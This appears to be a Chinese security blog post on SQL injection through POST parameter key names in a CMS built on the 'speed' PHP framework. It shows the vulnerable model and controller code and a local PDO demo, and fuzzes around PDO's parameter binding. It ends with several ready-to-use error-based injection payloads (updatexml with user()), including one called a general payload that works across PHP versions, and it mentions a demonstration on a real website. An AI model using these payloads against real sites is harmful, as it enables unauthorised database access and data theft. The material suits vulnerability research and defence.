PDO的参数绑定问题

根据一个实际的例子

基于古老的speed框架开发的一套cms,大概搜索了一下,网上还挺多

框架流程

框架入口就是直接包含一个类库文件

1614665459598

此类库是相当的精简

三个类吧

控制器controller类、视图view类、数据库操作model

view视图的解析,类似于thinkphp

看一下,model

存在PDO的时候,采用PDO连接

1
2
3
4
5
6
7
8
9
10
11
public function dbInstance($db_config, $db_config_key, $force_replace = false){
if($force_replace || empty($GLOBALS['mysql_instances'][$db_config_key])){
try {
if(!class_exists("PDO") || !in_array("mysql",PDO::getAvailableDrivers(), true)){
err('Database Err: PDO or PDO_MYSQL doesn\'t exist!');
}
$GLOBALS['mysql_instances'][$db_config_key] = new PDO('mysql:dbname='.$db_config['MYSQL_DB'].';host='.$db_config['MYSQL_HOST'].';port='.$db_config['MYSQL_PORT'], $db_config['MYSQL_USER'], $db_config['MYSQL_PASS'], array(PDO::MYSQL_ATTR_INIT_COMMAND=>'SET NAMES \''.$db_config['MYSQL_CHARSET'].'\''));
}catch(PDOException $e){err('Database Err: '.$e->getMessage());}
}
return $GLOBALS['mysql_instances'][$db_config_key];
}

PDOphp5.0以上均可配置

通过executequery执行SQL语句

1614666212964

一般情况下,这种都是key存在某些问题,或者对数组型参数值的处理不当

很是很可惜,对于参数值,都经过了转义处理

所以只能从key下手,跟进其插入语句的组装方法

可以很明显的看到,当$row完全可控时,可以控制键名达到注入的效果

1614666397191

这是这就一帆风顺了嘛,no no no!

错误整理

因为很明显这里进行了参数的绑定,而且和tp自定义的绑定名字不同,这里直接就用的键名

比方说给键名加一个单引号,不是报的语法错误

而是,参数绑定的问题

1614666822177

各种类型的报错吧,

  • 参数绑定个数不匹配
  • 绑定参数找不到
  • …….

经过测试

在绑定的参数中一般为字母数字下划线,存在其他字符时,会找不到绑定的参数

这里就来探讨一种可以用于key注入的参数绑定的payload

探究key注入的payload

PDO知识整合

  • 其实PDO的模拟预处理,是把整条语句发送给mysql去执行
  • 如果不支持多行查询,语句中存在多行,直接抛出异常
  • 语句中存在占位符,?或者:title形式都为占位符,最后是要替换掉
  • 第二种占位符不能有特殊字符

首先,漏洞的触发点如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function actionAdd(){
if(IS_POST){
$data=replace_specialChar($_POST,false);
$data['imgs']=json_encode($data['imgs']);
$data['config']=json_encode($data['config']);
$data['addtime']=time();
$data['type']=3;
$news_sys=M($this->model_name);
$re=$news_sys->create($data);
if($re){
tips( '添加成功', url($this->mc,'list')); exit;
}else{
tips( '添加失败', url($this->mc,'list')); exit;
}
}else{
$this->display($this->ca.".html");
}
}

这种代码并不少见

难点

  • 因为绑定的参数值,不是如tp那样固定得,而是根据传参决定的,导致闭合原有语句困难

还有一个点就是在PDO不支持多行的条件下,是否可以传入多语句的问题

感觉,实际cms的测试效果不是很好自己写个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$dns = 'mysql:host=127.0.0.1;dbname=web;port=3306;charset=utf8';
$params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
$pdo = new PDO($dns, 'root', '123456', $params);

$stmt = $pdo->prepare("insert into shop_goods (`title`) values(:title);select sleep(10)");

$title = '123';
$stmt->bindParam(':title', $title);
$stmt->execute();


var_dump($stmt);
?>

会有如下报错

1614675837771

这个就和thinkphp的报错极为类似了,就是说这配置了不允许模拟预编译的情况下,是不允许多行语句的存在的

堆叠查询

在支持堆叠的情况下,操作简单了不少,主要是插入想要的数据就可以

PDO的堆叠查询,只会返回第一个语句的执行结果

不用考虑闭合的问题

首先把空格替换成/**/

经过fuzz发现--/*放在分号后面,可以让PDO的参数绑定成功

1614677689990

比较需要注意的一点是

  • 此两种方式需要在php5.6以上

php5.4中依旧会报如下错误

1614678065144

再次进行fuzz

很明显,上面是成功的payload,有个共同的特征,结束的组合为'--,成功绑定并注入

1614678197787

而且此方式在php5.6以上也可以使用

需要说明的是此处的--很明显没有注释作用,具体为什么,还需要看PDO的源代码,这里从fuzz角度测试

payload

1
2
# tilte是一个已知字段
title`)/**/values/**/(updatexml(1,concat('~',user()),1));'--a=aaa

非堆叠查询

根据刚才对PDO禁止了模拟预编译之后,可以知道,直接就不允许传入多行语句

但是有一点,就是他报错的位置

报错位置不是分号,说明是允许分号的存在的

再次测试

发现,当存在#或者-- 注释符号的时候,会通过预处理(此处的–后面有空格)

1614676013892

那就比较容易构造了

1614680915084

但是这样会报错,因为在键名中的空格被替换成了下划线

然后提几个php中关于键名的tips

  • 传参名的空格会被转化成下划线
  • 传参名的点号会被转化成下划线
  • 为了取数组型参数,[后面的字符不予转化

所以进行如下构造

1614680989266

payload

1
title`)/**/values/**/(updatexml(1,concat(0x7e,user()),'['));-- =aaa

那么要想包含php5.4的多行的

一个通用payload

1
title`)/**/values/**/(updatexml(1,concat(0x7e,user()),'['));-- '--=aaa

1614681296465

end

此结果值针对与此场景

实际网站演示

1614682418052